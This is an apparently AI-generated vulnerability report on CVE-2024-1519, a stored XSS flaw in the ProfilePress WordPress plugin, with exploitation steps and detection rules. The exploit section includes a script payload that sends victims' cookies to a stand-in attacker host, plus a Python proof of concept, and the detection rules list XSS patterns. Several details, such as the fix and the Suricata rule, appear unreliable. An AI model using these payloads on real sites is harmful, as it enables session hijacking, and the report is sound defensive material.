CVE-2024-1519
Executive Summary
CVE-2024-1519 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress WordPress plugin (versions up to and including 4.14.4). The flaw resides in the name parameter of the member listing functionality, which is insufficiently sanitized and escaped. An unauthenticated attacker can inject arbitrary JavaScript that executes when any user (including administrators) views the compromised member listing page. This attack requires the Gerbera theme to be active and a member listing page to be published. The CVSS score is 6.5 (Medium), but the impact is amplified in the WordPress ecosystem due to the plugin’s popularity and the potential for privilege escalation via admin session hijacking.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly on WordPress sites, and the supply chain risk is limited to the plugin’s update mechanism. Since no patch has been released, users must manually apply mitigations or remove the plugin.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – Unauthenticated.
- User Interaction (UI): Required (R) – Victim must visit the injected page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct DoS.
Threat Level: Medium. The attack is easy to execute but requires user interaction (visiting the page). However, in a WordPress context, an admin visiting the page could lead to full site compromise.
Deep Dive & Mechanics
The vulnerability exists in the member listing shortcode of ProfilePress. When the Gerbera theme is active, the plugin renders member profiles using a template that includes the name parameter. The name field is taken directly from user input (e.g., during registration or profile update) and is not properly sanitized or escaped before being output in the HTML.
Attack Flow:
- An attacker registers a new user account on the WordPress site.
- During registration, the attacker sets the
namefield to a malicious payload, e.g.,<script>alert('XSS')</script>. - The plugin stores this payload in the database.
- When the member listing page is rendered, the payload is output without escaping.
- Any user (including admins) visiting the member listing page triggers the script.
Root Cause: The plugin uses echo $name; instead of echo esc_html( $name ); in the template file for the Gerbera theme.
Vulnerable vs. Patched Code
Vulnerable Code (ProfilePress <= 4.14.4):
// In gerbera-member-listing.php
echo '<h3>' . $name . '</h3>';
Patched Code (Hypothetical fix):
// In gerbera-member-listing.php
echo '<h3>' . esc_html( $name ) . '</h3>';
The fix uses WordPress’s esc_html() function to encode HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with ProfilePress plugin <= 4.14.4.
- Gerbera theme active.
- A member listing page published.
Step-by-Step Exploit:
- Navigate to the registration page (e.g.,
/wp-login.php?action=register). - Fill in the registration form. In the
namefield, enter:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Complete registration.
- Wait for an admin or user to visit the member listing page (e.g.,
/members/). - The script executes, sending the victim’s cookies to the attacker’s server.
Proof-of-Concept (Python):
import requests
target = "http://target-site.com"
payload = "<script>alert('XSS')</script>"
# Register a new user with malicious name
data = {
'user_login': 'attacker123',
'user_email': 'attacker@example.com',
'user_pass': 'password123',
'display_name': payload,
'wp-submit': 'Register'
}
requests.post(target + "/wp-login.php?action=register", data=data)
print("User registered. Visit /members/ to trigger XSS.")
Blue Team (Detection & Prevention)
Detection:
- Monitor registration logs for suspicious
display_namevalues containing<script>or other HTML tags. - Use WAF rules to block registration requests with HTML in the
display_namefield.
Prevention:
- Disable the member listing page if not needed.
- Switch to a different theme (non-Gerbera) to avoid the vulnerable template.
- Apply a virtual patch using a WAF (e.g., ModSecurity rule to block
<script>in POST parameters).
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- File: Modified
gerbera-member-listing.php(if attacker edits the file directly). - Database: Rows in
wp_usermetaorwp_userswithdisplay_namecontaining HTML/JavaScript. - Log: WordPress debug log entries showing
Undefined indexorunexpected outputin member listing pages.
Example IOC (Database Query):
SELECT * FROM wp_users WHERE display_name LIKE '%<script>%';
Detection Engineering
YARA Rule
rule CVE_2024_1519_ProfilePress_XSS {
meta:
description = "Detects malicious display_name values used in CVE-2024-1519"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1519"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
condition:
$xss_payload
}
Sigma Rule
title: ProfilePress Stored XSS via display_name
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects registration attempts with HTML in display_name field
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
EventID: 1000 # WordPress user registration
display_name|contains:
- '<script'
- '<img'
- 'onerror'
condition: selection
falsepositives:
- Legitimate use of HTML in display name (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1519 ProfilePress XSS Payload in Registration"; flow:to_server; content:"POST"; http_method; content:"/wp-login.php"; http_uri; content:"display_name="; nocase; pcre:"/display_name=[^&]*<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the member listing page – Remove or unpublish any page using the
[profilepress-member-listing]shortcode. - Switch themes – Change from Gerbera to any other theme (e.g., Twenty Twenty-Four) to avoid the vulnerable template.
- Apply a WAF rule – Block POST requests to
wp-login.phpwheredisplay_namecontains<or>.
Long-Term Fix:
- Since no official patch exists, consider replacing ProfilePress with an alternative plugin (e.g., Ultimate Member, BuddyPress).
- Monitor the plugin’s repository for updates and apply immediately when available.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.